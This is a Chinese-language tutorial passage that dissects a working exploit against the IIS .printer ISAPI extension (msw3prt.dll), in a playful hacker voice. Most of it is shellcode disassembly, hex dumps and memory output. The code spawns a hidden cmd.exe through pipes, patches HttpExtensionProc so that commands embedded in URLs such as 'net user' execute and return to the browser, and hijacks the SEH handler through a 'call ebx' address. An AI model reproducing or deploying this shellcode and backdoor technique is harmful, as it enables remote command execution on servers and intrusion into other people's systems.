通过上面一堆眼花缭乱的指令我们计算出函数getprocAddress在内存中的地址为0x77E9564B。指令所用的算法是特别针对Portable Executable格式的。
*/
00EFFD30 8BF2             mov         esi,edx
00EFFD32 8BFE             mov         edi,esi
00EFFD34 8BD0             mov         edx,eax //edx=0x77E9564B
00EFFD36 B90C000000       mov         ecx,0Ch //共需要解决12个函数地址
00EFFD3B E800010000       call        00EFFE40
/*
位于地址0x00EFFE40的子程序负责解决指令表中函数们的地址。上面的指令先解决由kernel32.dll输出的函数们的地址,它们的总数12(就是0Ch)在寄存器ecx中,函数的名字们由edi和esi中的指针指向。这些的函数是:LoadLibraryA、CreatePipe、GetStartupInfoA、CreateProcessA、PeekNamedPipe、GlobalAlloc、WriteFile、ReadFile、VirtualProtect、Sleep、ExitProcess、CloseHandle。解决后的函数地址就存放在指令表中。

接下去解决由msw3prt.dll输出的函数(实际上就一个函数HttpExtensionProc)。
*/
00EFFD40 33C0             xor         eax,eax
00EFFD42 AC               lods        byte ptr [esi]
00EFFD43 85C0             test        eax,eax
00EFFD45 75F9             jne         00EFFD40 //在指令表中移动指针到下一个字
                                //符串----MSW3PRT
00EFFD47 52               push        edx
00EFFD48 56               push        esi
00EFFD49 FF57D0           call        dword ptr [edi-30h]
/*
先在指令表中寻找下一个字符串MSW3PRT,然后调用位于指令表[edi-30h]的函数LoadLibraryA把动态联结库MSW3PRT.dll载入。MSDN对LoadLibraryA函数的定义如下:
HMODULE LoadLibrary(
  LPCTSTR lpLibFileName   // file name of module
);
它需要一个输入参数,也就是指向动态联结库名字的指针。
*/
00EFFD4C 5A               pop         edx
00EFFD4D 8BD8             mov         ebx,eax
00EFFD4F B901000000       mov         ecx,1
00EFFD54 E8E7000000       call        00EFFE40
/*
调用00EFFE40处子程序解决函数HttpExtensionProc的地址,
*/
00EFFD59 6800050000       push        500h
00EFFD5E 6A40             push        40h
00EFFD60 FF57E0           call        dword ptr [edi-20h]
00EFFD63 894708           mov         dword ptr [edi+8],eax
/*
调用指令表中的函数GlobalAlloc(函数地址在[edi-20h]中)在内存中预备(allocate) 500 bytes的空间,把这个内存空间的指针存入[edi+8]中,这个内存空间将作为我们秘密通讯渠道的缓冲区。函数GlobalAlloc的定义:
HGLOBAL GlobalAlloc(
  UINT uFlags,     // allocation attributes
  SIZE_T dwBytes   // number of bytes to allocate
);
*/
00EFFD66 C7471C0C000000   mov         dword ptr [edi+1Ch],0Ch
00EFFD6D C7472000000000   mov         dword ptr [edi+20h],0
00EFFD74 C7472401000000   mov         dword ptr [edi+24h],1
00EFFD7B 6A00             push        0
00EFFD7D 8D471C           lea         eax,[edi+1Ch]
00EFFD80 50               push        eax
00EFFD81 8D470C           lea         eax,[edi+0Ch]
00EFFD84 50               push        eax
00EFFD85 8D4710           lea         eax,[edi+10h]
00EFFD88 50               push        eax
00EFFD89 FF57D0           call        dword ptr [edi-30h]
/*
调用函数CreatePipe(地址在[edi-30h]中)制造一个输出Pipe。它的Read Handler将存入地址[edi+10h],而Write Handler将存入地址[edi+0Ch];Pipe Buffer的大小为0----这表示我们将使用系统缺省值;从地址[edi+1Ch]开始的12个字节为Pipe的安全属性,这个Pipe是可继承(inheritable)的、使用缺省security descriptor的Pipe。 函数CreatePipe的定义:
BOOL CreatePipe(
  PHANDLE hReadPipe,                       // read handle
  PHANDLE hWritePipe,                      // write handle
  LPSECURITY_ATTRIBUTES lpPipeAttributes,  // security attributes
  DWORD nSize                              // pipe size
);
*/
00EFFD8C 6A00             push        0
00EFFD8E 8D471C           lea         eax,[edi+1Ch]
00EFFD91 50               push        eax
00EFFD92 8D4714           lea         eax,[edi+14h]
00EFFD95 50               push        eax
00EFFD96 8D4718           lea         eax,[edi+18h]
00EFFD99 50               push        eax
00EFFD9A FF57D0           call        dword ptr [edi-30h]
/*
又调用函数CreatePipe制造一个输入Pipe。它的Read Handler将存入地址[edi+18h],而Write Handler将存入地址[edi+14h];Pipe Buffer的大小为省值;这个Pipe同样是可继承(inheritable)的、使用缺省security descriptor的Pipe。
*/
00EFFD9D 8D4728           lea         eax,[edi+28h]
00EFFDA0 50               push        eax
00EFFDA1 FF57D4           call        dword ptr [edi-2Ch]
/*
调用函数GetStartupInfo(地址在[edi-2Ch]中)取得本进程的一系列启动信息(StartupInfo),并把返回的启动信息存入从地址[edi+28h]开始的内存。我们后面要借用这个启动信息来制造一个新的子进程cmd.exe。下面是GetStartupInfo的定义:
VOID GetStartupInfo(
  LPSTARTUPINFO lpStartupInfo   // startup information
);
*/
00EFFDA4 8B470C           mov         eax,dword ptr [edi+0Ch]
00EFFDA7 894764           mov         dword ptr [edi+64h],eax
00EFFDAA 894768           mov         dword ptr [edi+68h],eax
00EFFDAD 8B4718           mov         eax,dword ptr [edi+18h]
00EFFDB0 894760           mov         dword ptr [edi+60h],eax
00EFFDB3 814F5401010000   or          dword ptr [edi+54h],101h
00EFFDBA 66C747580000     mov         word ptr [edi+58h],0
00EFFDC0 8D476C           lea         eax,[edi+6Ch]
00EFFDC3 50               push        eax
00EFFDC4 8D4728           lea         eax,[edi+28h] //启动信息
00EFFDC7 50               push        eax
00EFFDC8 33C0             xor         eax,eax
00EFFDCA 50               push        eax
00EFFDCB 50               push        eax
00EFFDCC 50               push        eax
00EFFDCD 6A01             push        1    //子进程继承父进程Handler
00EFFDCF 50               push        eax
00EFFDD0 50               push        eax
00EFFDD1 8BEF             mov         ebp,edi
00EFFDD3 81C5A8000000     add         ebp,0A8h    //偏移0A8h到cmd.exe
00EFFDD9 55               push        ebp    
00EFFDDA 50               push        eax
00EFFDDB FF57D8           call        dword ptr [edi-28h]
/*
上面的指令是为了调用函数CreateProcess制造一个隐藏式的子进程cmd.exe。你们看到了,要用这么一大堆的汇编语言来创建这个进程,如果用高级语言象VC++来作同样的事,只需短短的几行;忆苦思甜,我们真应该感谢编写高级语言编译器的人,是他们把大家从干巴巴的汇编语言中解放了出来,大家从此站起来料傲----!!

注意子进程cmd.exe会继承父进程的输入及输出Pipe,将来这两个Pipe就是我们的秘密渠道。函数CreateProcess的地址在[edi-28h]中,它的定义如下:
BOOL CreateProcess(
  LPCTSTR lpApplicationName,                 // name of executable module
  LPTSTR lpCommandLine,                      // command line string
  LPSECURITY_ATTRIBUTES lpProcessAttributes, // SD
  LPSECURITY_ATTRIBUTES lpThreadAttributes,  // SD
  BOOL bInheritHandles,                      // handle inheritance option
  DWORD dwCreationFlags,                     // creation flags
  LPVOID lpEnvironment,                      // new environment block
  LPCTSTR lpCurrentDirectory,                // current directory name
  LPSTARTUPINFO lpStartupInfo,               // startup information
  LPPROCESS_INFORMATION lpProcessInformation // process information
);
*/
00EFFDDE FF770C           push        dword ptr [edi+0Ch]
00EFFDE1 FF57F8           call        dword ptr [edi-8]
00EFFDE4 FF7718           push        dword ptr [edi+18h]
00EFFDE7 FF57F8           call        dword ptr [edi-8]
/*
调用函数CloseHandle(地址在[edi-8h]中)关闭位于[edi+0Ch]的输出Pipe的Write Handler以及位于[edi+18h]的输入Pipe的Read Handler,我们不需要这两个Handler。函数的定义:
BOOL CloseHandle(
  HANDLE hObject   // handle to object
);

这样,子进程cmd.exe的输入与输出是通过继承下来的Write Handler(地址[edi+14h])与Read Handler (地址[edi+10h])来实现;我们将要通过Write Handler往这个cmd.exe输入命令,通过Read Handler从这个cmd.exe取得命令运行结果。
*/
00EFFDEA 8D4704           lea         eax,[edi+4]
00EFFDED 50               push        eax
00EFFDEE 6A04             push        4
00EFFDF0 6800010000       push        100h
00EFFDF5 8B57FC           mov         edx,dword ptr [edi-4]
00EFFDF8 52               push        edx
00EFFDF9 FF57EC           call        dword ptr [edi-14h] //VirtualProtect
/*
在关于ISAPI的介绍中我们提到,象msw3prt.dll这样的ISAPI Extension必须实现并输出函数HttpExtensionProc,这个函数负责处理由IIS转来的HTTP请求。我们这个Exploit的关键就是把这个函数篡改一下,任何对它的调用都直接跳入我们精心设计的、假的HttpExtensionProc中去。这个假的HttpExtensionProc会处理我们的黑客命令:它把镶嵌在URL里面的黑客命令通过输入Pipe传给子进程cmd.exe,待到cmd.exe执行完命令后再把结果通过输出Pipe传回给假HttpExtensionProc,由它通过msw3prt.dll的另一个函数WriteClient返回给Browser。这样MS Internet Explorer或Netscape就成了我们的控制中心去控制有漏洞的Microsoft IIS。

但是我们知道msw3prt.dll在载入内存时,它所占用的内存部分是不可写的,如果我们贸然修改HttpExtensionProc函数,我们会得到访问出错。所以我们必须先调用函数VirtualProtect把HttpExtensionProc那部分内存改为可写,就象上面的指令那样:
*[edi-4]为需要修改访问权限的内存地址,这里就是HttpExtensionProc函数的指针,在dallas上这个指针为0x6a8c77c0;100h指被改变权限的内存大小;4是我们需要的权限;注意HttpExtensionProc原来的权限保留在[edi+4]中,在修改完HttpExtensionProc后我们必须从[edi+4]恢复它原来的权限。

函数VirtualProtect的定义:
BOOL VirtualProtect
  LPVOID lpAddress,       // region of committed pages
  SIZE_T dwSize,          // size of the region
  DWORD flNewProtect,     // desired access protection
  PDWORD lpflOldProtect   // old protection
);
*/
00EFFDFC 56               push        esi
00EFFDFD 53               push        ebx
00EFFDFE 8BDF             mov         ebx,edi
00EFFE00 8DB7B0000000     lea         esi,[edi+0B0h]
00EFFE06 83C609           add         esi,9
00EFFE09 8D87C0000000     lea         eax,[edi+0C0h]
00EFFE0F 8906             mov         dword ptr [esi],eax
00EFFE11 83C6F7           add         esi,0FFFFFFF7h //$esi=0x00EFFF3c
00EFFE14 8B7BFC           mov         edi,dword ptr [ebx-4] //$edi=0x6a8c77c0
00EFFE17 B90F000000       mov         ecx,0Fh
00EFFE1C F3A4             rep movs    byte ptr [edi],byte ptr [esi]
/*
在HttpExtensionProc所占有的内存变成可写以后,我们往那里填写的康熙皇帝的遗书:“传位于黑客码”,而不是众望所归的BillGates码。你们看到,HttpExtensionProc最开始的15个字节被位于0x00EFFF3c的15个字节代替,这15个字节是:
0x00EFFF38             90 90 90 90 90 90 90 90 b8 00 00 f1 exe.............
0x00EFFF48 77 ff d0 00 90 90 90 83 c4 04 60 e8 00 00 00 00 w.........`.....
把它们反汇编:
> u esi
00EFFF3C  90               nop                                    
00EFFF3D  90               nop                                    
00EFFF3E  90               nop                                    
00EFFF3F  90               nop                                    
00EFFF40  90               nop                                    
00EFFF41  90               nop                                    
00EFFF42  90               nop                                    
00EFFF43  90               nop                                    
00EFFF44  B84CFFEF00       mov         eax,0EFFF4Ch                          
00EFFF49  FFD0             call        eax                                  

这样任何对ISAPI Extension printer的调用将由这里跳到从0EFFF4Ch开始的假HttpExtensionProc码中。我会在下面一节给出这些假的HttpExtensionProc黑客码。
*/
00EFFE1E 8BFB             mov         edi,ebx
00EFFE20 5B               pop         ebx
00EFFE21 5E               pop         esi
00EFFE22 8D4704           lea         eax,[edi+4]
00EFFE25 50               push        eax
00EFFE26 8B4704           mov         eax,dword ptr [edi+4]
00EFFE29 50               push        eax
00EFFE2A 6800010000       push        100h
00EFFE2F 8B57FC           mov         edx,dword ptr [edi-4]
00EFFE32 52               push        edx
00EFFE33 FF57EC           call        dword ptr [edi-14h] //VirtualProtect
/*
As promised,这里我们恢复HttpExtensionProc所占有的内存原来的权限。
*/
00EFFE36 6800DD6D00       push        6DDD00h
00EFFE3B FF57F0           call        dword ptr [edi-10h] //Sleep
00EFFE3E EBF6             jmp         00EFFE36
/*
好!敌方阵地已经被占领,这一节黑客行动顺利地完成了,可以去睡觉了。下一节将由假的HttpExtensionProc黑客码执行URL命令。

Sleep函数的定义:
VOID Sleep(
  DWORD dwMilliseconds   // sleep time
);
*/
/*
下面是负责解决指令表内函数地址的子程序:
*/
00EFFE40 33C0             xor         eax,eax
00EFFE42 AC               lods        byte ptr [esi]
00EFFE43 85C0             test        eax,eax    //寻找函数名之间的空格x00
00EFFE45 75F9             jne         00EFFE40    //在指令表中移动指针esi到下一
                                //个字符串
00EFFE47 51               push        ecx //ecx保存需要解决地址的函数总数
00EFFE48 52               push        edx
00EFFE49 56               push        esi //函数名
00EFFE4A 53               push        ebx //输出函数的dll起始地址
00EFFE4B FFD2             call        edx //调用getprocAddress,返回的地址
                            //存入寄存器eax中。
00EFFE4D 5A               pop         edx
00EFFE4E 59               pop         ecx
00EFFE4F AB               stos        dword ptr [edi]//把寄存器eax中的函数地
                            //址存入edi指向的位置。
00EFFE50 E2EE             loop        00EFFE40 //继续解决下一个函数地址。
00EFFE52 C3               ret
/*
这个子程序依次解决指令表中函数的地址并把解决的地址存回指令表。在子程序执行结束前,edi的指针指向最后解决的函数地址,或者说指向指令表的末端地址,这样我们可以把edi作为基准地址(Base Address)来调用指令表中的函数。

这个子程序的核心是调用函数getprocAddress----call edx,根据MSDN对这个函数的定义:
FARPROC getprocAddressss(
  HMODULE  hModule  // handle to DLL module
  LPCSTR  lpProcName // function name
);
这个函数的由右向左数的第一个参数lpProcName为函数名,第二个为输出这个函数的dll起始地址hModule。你们也看到了,它们必须由右向左压入堆栈。
*/
00EFFE53 E876FEFFFF       call        00EFFCCE
/*
函数指令表:
*/
0x00EFFE58 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 4c GetProcAddress.L
0x00EFFE68 6f 61 64 4c 69 62 72 61 72 79 41 00 43 72 65 61 oadLibraryA.Crea
0x00EFFE78 74 65 50 69 70 65 00 47 65 74 53 74 61 72 74 75 tePipe.GetStartu
0x00EFFE88 70 49 6e 66 6f 41 00 43 72 65 61 74 65 50 72 6f pInfoA.CreatePro
0x00EFFE98 63 65 73 73 41 00 50 65 65 6b 4e 61 6d 65 64 50 cessA.PeekNamedP
0x00EFFEA8 69 70 65 00 47 6c 6f 62 61 6c 41 6c 6c 6f 63 00 ipe.GlobalAlloc.
0x00EFFEB8 57 72 69 74 65 46 69 6c 65 00 52 65 61 64 46 69 WriteFile.ReadFi
0x00EFFEC8 6c 65 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 le.VirtualProtec
0x00EFFED8 74 00 53 6c 65 65 70 00 45 78 69 74 50 72 6f 63 t.Sleep.ExitProc
0x00EFFEE8 65 73 73 00 43 6c 6f 73 65 48 61 6e 64 6c 65 00 ess.CloseHandle.
0x00EFFEF8 4d 53 57 33 50 52 54 00 48 74 74 70 45 78 74 65 MSW3PRT.HttpExte
0x00EFFF08 6e 73 69 6f 6e 50 72 6f 63 00 90 90 90 90 90 90 nsionProc.......
0x00EFFF18 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0x00EFFF28 90 90 90 90 90 90 90 90 90 90 00 00 63 6d 64 2e ............cmd.
0x00EFFF38 65 78 65 00 90 90 90 90 90 90 90 90 b8 00 00 f1 exe.............
0x00EFFF48 77 ff d0 00 90 90 90 83 c4 04 60 e8 00 00 00 00 w.........`.....


Exploit IIS 第三步----黑客渠道:


我们现在来看看假的HttpExtensionProc是如何处理从URL传来的命令的,比如说我们从Netscape发出这样一个的URL:http://dallas/null.printer?net[user,我们需要执行的黑客命令镶嵌在其中,即“net user”。我在这个URL中用“[”符号代替空格,是想避免空格被Netscape或者explorer解释成“%20”,我们的cmd.exe是不会执行命令“net%20user”的;我在假HttpExtensionProc中会把“[”符号由空格符号的ascii码0x20代替,这样传给cmd.exe的命令就是“net user”。

> u                  0EFFF4Ch
00EFFF4C  90               nop                                    
00EFFF4D  90               nop                                    
00EFFF4E  90               nop                                    
00EFFF4F  83C404           add         esp,4                          
00EFFF52  60               pushad                                
00EFFF53  E800000000       call        00EFFF58  //调用下一个指令
00EFFF58  5F               pop         edi  
00EFFF59  81EFCC000000     sub         edi,0CCh    
/*
上面这个call指令与pop指令只是为了得到当前指令的地址0x00EFFF58,这样你就不需要把一个固定地址硬编在码中,这也是常见的Exploit技术。最后的sub指令得到指令表的末端地址并把它存入edi中,我们需要以这个末端地址为参照物来调用指令表中的函数以及访问通讯渠道的缓冲区。
*/                    
00EFFF5F  8B5D10           mov         ebx,dword ptr [ebp+10h]            
/*
ebp寄存器中为堆栈栈底地址(但它并不是真HttpExtensionProc的堆栈栈底地址,大家想想为什么?),这个地址非常重要----因为通过它我们可以得到在ebp+10h中保存的一个重要指针:EXTENSION_CONTROL_BLOCK结构指针。

EXTENSION_CONTROL_BLOCK结构是Microsoft ISAPI编程中常遇到的,我们来看看MSDN中EXTENSION_CONTROL_BLOCK的定义:

typedef struct _EXTENSION_CONTROL_BLOCK  {
  DWORD cbSize;      // Size of this structure.
  DWORD dwVersion;   // Version info of this specification.
  HCONN ConnID;      // Context number not to be modified!
  DWORD dwHttpStatusCode;                // HTTP Status code.
  CHAR   lpszLogData[HSE_LOG_BUFFER_LEN]; // Null-terminated log info.
  LPSTR lpszMethod;         // REQUEST_METHOD
  LPSTR lpszQueryString;    // QUERY_STRING
  LPSTR lpszPathInfo;       // PATH_INFO
  LPSTR lpszPathTranslated; // PATH_TRANSLATED
  DWORD cbTotalBytes;       // Total bytes indicated from client.
  DWORD cbAvailable;        // Available number of bytes.
  LPBYTE lpbData;            // Pointer to cbAvailable bytes.
  LPSTR lpszContentType;    // Content type of client data.
  BOOL (WINAPI * GetServerVariable);
  BOOL (WINAPI * WriteClient);  
  BOOL (WINAPI * ReadClient);  
  BOOL (WINAPI * ServerSupportFunction);
} EXTENSION_CONTROL_BLOCK;

其中lpszQueryString指向URL“http://dallas/null.printer?net[user”中‘?’符号后面的字符串:“net[user”。在这个结构中还有函数WriteClient指针,我们需要用它往Internet Explorer或Netscape发送黑客命令运行结果。
*/
00EFFF62  6A00             push        0                          
00EFFF64  57               push        edi                          
00EFFF65  33C0             xor         eax,eax                          
00EFFF67  33D2             xor         edx,edx                          
00EFFF69  8B7364           mov         esi,dword ptr [ebx+64h]              
/*
[ebx+64h]中保存的就是指针lpszQueryString,它的值为0x01A8203B,在它周围的内容:
> dd esi-0x70 esi+0x50
0x01A81FCB  00003500 00000000 00000000 00000000 .5..............
0x01A81FDB  756e2f00 702e6c6c 746e6972 64007265 ./null.printer.d
0x01A81FEB  6e695c3a 75707465 77775c62 6f6f7277 :\inetpub\wwwroo
0x01A81FFB  756e5c74 702e6c6c 746e6972 47007265 t\null.printer.G
0x01A8200B  00005445 6c756e2f 72702e6c 65746e69 ET../null.printe
0x01A8201B  3a440072 4e49575c 535c544e 65747379 r.D:\WINNT\Syste
0x01A8202B  5c32336d 3377736d 2e747270 006c6c64 m32\msw3prt.dll.
0x01A8203B  5b74656e 72657375 4d4c2f00 5333572f net[user./LM/W3S
0x01A8204B  312f4356 6f6f522f 6f4d0074 6c6c697a VC/1/Root.Mozill
0x01A8205B  2e342f61 2d433135 646c6143 20617265 a/4.51C-Caldera
0x01A8206B  5d6e655b 31582820 49203b31 694c203b [en] (X11; I; Li
0x01A8207B  2078756e 2e322e32 35692035 00293638 nux 2.2.5 i586).
0x01A8208B  00000000                            ....
*/
00EFFF6C  AC               lods        byte ptr [esi]                      
00EFFF6D  42               inc         edx                          
00EFFF6E  83F85B           cmp         eax,5Bh //5Bh就是“[”的ascii码
00EFFF71  7504             jne         00EFFF77                          
00EFFF73  C646FF20         mov         byte ptr [esi-1],20h //用20h代替5Bh
00EFFF77  85C0             test        eax,eax                          
00EFFF79  75F1             jne         00EFFF6C                          
00EFFF7B  C646FF0D         mov         byte ptr [esi-1],0Dh                  
00EFFF7F  C6060A           mov         byte ptr [esi],0Ah                    00EFFF82  C6460100         mov         byte ptr [esi+1],0                    
00EFFF86  42               inc         edx                          
/*
上面的指令一方面用空格(ascii码为20h)代替“[”(ascii码为5Bh),一方面寻找黑客命令字符串结尾的“\x00”。在找到这个字符串尾巴以后,还要给尾巴上加上回车、换行与“\x00”符号,这样才构成一个完整的、cmd能理解的命令。
*/
00EFFF87  52               push        edx                          
00EFFF88  FF7364           push        dword ptr [ebx+64h]
00EFFF8B  FF7714           push        dword ptr [edi+14h]  
00EFFF8E  FF57E4           call        dword ptr [edi-1Ch] //调用WriteFile
/*
上面的指令调用函数WriteFile往cmd.exe的输入Pipe的Write Handler(位于[edi+14h])写我们的命令字符串“net user”。函数WriteFile的定义:
BOOL WriteFile(
  HANDLE hFile,                    // handle to file
  LPCVOID lpBuffer,                // data buffer
  DWORD nNumberOfBytesToWrite,     // number of bytes to write
  LPDWORD lpNumberOfBytesWritten,  // number of bytes written
  LPOVERLAPPED lpOverlapped        // overlapped buffer
);
*/                
00EFFF91  6A64             push        64h                          
00EFFF93  FF57F0           call        dword ptr [edi-10h] //Sleep           /*
睡着等待命令被执行
*/      
00EFFF96  33C9             xor         ecx,ecx                          
00EFFF98  51               push        ecx                          
00EFFF99  57               push        edi //lpTotalBytesAvail          
00EFFF9A  51               push        ecx                          
00EFFF9B  51               push        ecx                          
00EFFF9C  51               push        ecx                          
00EFFF9D  FF7710           push        dword ptr [edi+10h] //Read Handler
00EFFFA0  FF57DC           call        dword ptr [edi-24h] //PeekNamedPipe
00EFFFA3  85C0             test        eax,eax                          
00EFFFA5  7430             je          00EFFFD7                          
00EFFFA7  803F00           cmp         byte ptr [edi],0 //看Pipe中有多少字节。
00EFFFAA  7427             je          00EFFFD3                          
/*
调用函数PeekNamedPipe看看输出Pipe是否已经有“net user”的执行结果。如果函数调用失败,寄存器eax的值为0,则跳到地址0x00EFFFD7,程序退出执行;如果函数调用成功,但是Pipe中没有字节了(已经读干净了),就跳到地址0x00EFFFD3,退出这次假的HttpExtensionProc调用,等待下一次黑客命令输入。下面是PeekNamedPipe的定义:
BOOL PeekNamedPipe(
  HANDLE hNamedPipe,              // handle to pipe
  LPVOID lpBuffer,                // data buffer
  DWORD nBufferSize,              // size of data buffer
  LPDWORD lpBytesRead,            // number of bytes read
  LPDWORD lpTotalBytesAvail,      // number of bytes available
  LPDWORD lpBytesLeftThisMessage  // unread bytes
);
*/
00EFFFAC  6A00             push        0                          
00EFFFAE  57               push        edi                          
00EFFFAF  6800050000       push        500h  //读取最多0x500h字节
00EFFFB4  FF7708           push        dword ptr [edi+8]  //缓冲区指针
00EFFFB7  FF7710           push        dword ptr [edi+10h] //Read Handler
00EFFFBA  FF57E8           call        dword ptr [edi-18h] //ReadFile函数
00EFFFBD  85C0             test        eax,eax                          
00EFFFBF  7416             je          00EFFFD7                          
/*
如果PeekNamedPipe调用后寄存器eax的值为1(也就是true),说明输出Pipe中已经有了执行返回结果,我们紧接着调用函数ReadFile读取返回的字符串。位于[edi+8]的指针值为0x00126260,它指向我们前面用GlobalAlloc预备的0x500h字节缓冲区,返回字符串将暂放在这儿。返回字符串的长度保存在edi寄存器中。我们看看返回的字符串是什么:
*/
> dd 126260
0x00126260  2074656e 72657375 0a0d0a0d 72657355 net user....User
0x00126270  63636120 746e756f 6f662073 5c5c2072  accounts for \\
0x00126280  0d0a0d0d 2d2d2d0a 2d2d2d2d 2d2d2d2d .....-----------
0x00126290  2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262A0  2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262B0  2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262C0  2d2d2d2d 2d2d2d2d 2d2d2d2d 2d2d2d2d ----------------
0x001262D0  2d2d2d2d 64410a0d 696e696d 61727473 ----..Administra
0x001262E0  20726f74 20202020 20202020 47202020 tor            G
0x001262F0  74736575 20202020 20202020 20202020 uest            
0x00126300  20202020 20202020 xxxxxxxxxxxxxxxxx         IUSR_DAL
0x00126310  xxxxxxxx 20202020 20202020 20202020 LAS            
0x00126320  xxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxx  ..IWAM_DALLAS  
0x00126330  20202020 20202020 20202020 xxxxxxxx             moda    
0x00126340  xxxxxxxx 20202020 20202020 20202020                
0x00126350  20202020 49735420 7265746e 5574656e      TsInternetU
0x00126360  20726573 20202020 20202020 0a0d2020 ser           ..
0x00126370  xxxxxxxx xxxxxxxx 204e494c 20202020 VUSR_DALLAS    
0x00126380  20202020 20202020 540a0d20 63206568          ..The c
0x00126390  616d6d6f 6320646e 6c706d6f 64657465 ommand completed
0x001263A0  74697720 6e6f2068 726f2065 726f6d20  with one or mor
0x001263B0  72652065 73726f72 0a0d0d2e 0a0d0a0d e errors........
0x001263C0  575c3a44 544e4e49 7379735c 336d6574 D:\WINNT\system3
0x001263D0  37303e32 3939312f 30202039 30303a35 2>07/1999  05:00
0x001263E0  20202061 20202020 20202020 31202020 a    /*
不知道为什么返回的结果有error?是因为Debug模式造成的?还是因为我刚才跑出去喝酒去了?可能喝得太久了,不过这是小小的问题,不管它了。

函数ReadFile的定义如下:
BOOL ReadFile(
  HANDLE hFile,                // handle to file
  LPVOID lpBuffer,             // data buffer
  DWORD nNumberOfBytesToRead,  // number of bytes to read
  LPDWORD lpNumberOfBytesRead, // number of bytes read
  LPOVERLAPPED lpOverlapped    // overlapped buffer
);
*/
00EFFFC1  6A00             push        0                          
00EFFFC3  57               push        edi //返回给Client的字符串长度  
00EFFFC4  FF7708           push        dword ptr [edi+8] //缓冲区指针
00EFFFC7  8B4B08           mov         ecx,dword ptr [ebx+8] //ConnID
00EFFFCA  51               push        ecx                          
00EFFFCB  FF9384000000     call        dword ptr [ebx+84h]  //WriteClient    
/*
在EXTENSION_CONTROL_BLOCK中,[ebx+8]为ConnID,而[ebx+84h]为CallBack函数WriteClient。我们就用WriteClient往ConnID指定的Client返回结果字符串。这个Client当然就是Netscape或者Internet Explorer啦。
BOOL WriteClient(
  HCONN ConnID,  
  LPVOID Buffer,  
  LPDWORD lpdwBytes,
  DWORD dwSync  
);
*/            
00EFFFD1  EBBE             jmp         00EFFF91                          
/*
如果执行命令后返回太多的结果(超过0x500字节),缓冲区一次装不下,就跳回地址0x00EFFF91继续从输出Pipe读结果。
*/
/*
下面是假HttpExtensionProc调用返回,以及出错的时候调用exit(1)函数让IIS进程退出。
*/
00EFFFD3  61               popad                                  
00EFFFD4  C20400           ret         4                          
00EFFFD7  6A01             push        1                          
00EFFFD9  FF57F4           call        dword ptr [edi-0Ch]  


Exploit IIS 第四步----重要的百分之二:


如果说我一共要用100分的时间来解释我的黑客码,那么我在前面第二步和第三步中已经用了98%的时间来讲那98%的黑客码,最后剩下的这2%的黑客码只需用2%的时间就可以讲完了。但是你却不能小看了这2%的重要性,如果少了这2%的指令,那其余98%的黑客码也甭想发挥98%的功能----它们只能发挥0%的功能。

我想起上世纪末我申请出国的事情来了:经过一次又一次的英语强化训练、考了寄呀又考托、再考托(因为据说有大规模的TOEFL做弊嫌疑,前一次TOEFL被取消)。然后问学校要材料、填写、搞成绩单推荐信、交申请费(或者赖掉不交),最后就天天等学校回答。过了一天又一天,过了一年又一年终於得到去克来登大学作地震研究的奖学金,高兴极了。当时已经是8月15号了,於是去广州签证,那个拖着鼻涕的签证官说:Yes,I will give you visa!我还没高兴完,他接着说:But you have to arrive US by Augest 31, the visa will expire after that!从领馆出来后马上去打听飞机票的行情,当时还没有恐怖分子劫持飞机去撞大楼,连胆最小的鬼们都敢去坐飞机,我塞,反正是一票难求,最早的票也要到九月份了。当时我就想:99%的努力都已经付出了,难道就这最后一步把我留学美国的计划给毁了?!当然,吉人自有天佑----你们不要误会,我不是说我,我是说我老婆有天佑,我最后是托她的福买到的高价机票!你们当然也是天佑的吉人啦,因为我现在就把那剩下的2%黑客码明明白白的告诉你们。

第一个1%是关于不一样的罗马大道。记得在上一章的Exploit里,溢出后的函数返回地址(RetAddr)被改写成0x77e33f4d,这个地址对应着user32.dll中的“jmp esp”指令,这样程序就沿着“jmp esp”跳回到我们的黑客码中。这一章的Exploit我们要故计重演,我们要改写的目标是Exceptional Handler(就是函数__except_handler3指针),但改写后这个Handler将指向何处呢?限于篇幅,这里我就不仔细分析给你们看了,但是告诉你们答案:我将让被覆盖后的Exceptional Handler指向指令“call ebx”。当Exception发生后,Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前的_EXCEPTION_REGISTRATION_RECORD,也就是地址0x00EFFFDC(请参考Exploit IIS 第一步----Vulerable ISAPI Filter的内存分配),所以Windows系统执行“call ebx”就会跳到地址0x00EFFFDC。这个地址距离我们的黑客码的起始地址不远,而且这个距离是固定的、可以事先计算的(这是我们选择“call ebx”最重要的原因)。当我们通过“call ebx”到达地址0x00EFFFDC后,再作些简单的准备活动(你们下面可以看到),就可以根据计算好的距离从这儿跳到黑客码的开始地址。

指令“call ebx”的二进制码是“FFD3”,用上一章的程序SearchDll可以在kernel.dll中找到这个指令的地址----0x77ed5c99,当然在你们的计算机上可能有不同的地址。

下面就是被覆盖后的_EXCEPTION_REGISTRATION_RECORD:

0x00EFFFDC eb 06 90 90 99 5c ed 77 81 c3 de fc ff ff ff d3 .....\.w........
0x00EFFFEC 0a 00 00 00 00 00 00 00 5a 17 70 6d 01 ef cd ab ........Z.pm....
0x00EFFFFC 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................

把它反汇编:

> u 0xefffdc
00EFFFDC  EB06             jmp         00EFFFE4 //准备活动之一:跳跃运动
00EFFFDE  90               nop                                    
00EFFFDF  90               nop      
00EFFFE0    。。。            //指向“call ebx”的地址77ed5c99

00EFFFE4  81C3DEFCFFFF     add         ebx,0FFFFFCDEh     //计入与黑客码起                    //始地址的之间距离,这是准备活动之二:加减运动
00EFFFEA  FFD3             call        ebx        //跳到黑客码开始地址                                    //准备作XOR运算    
00EFFFEC  0A00             or          al,byte ptr [eax]                    


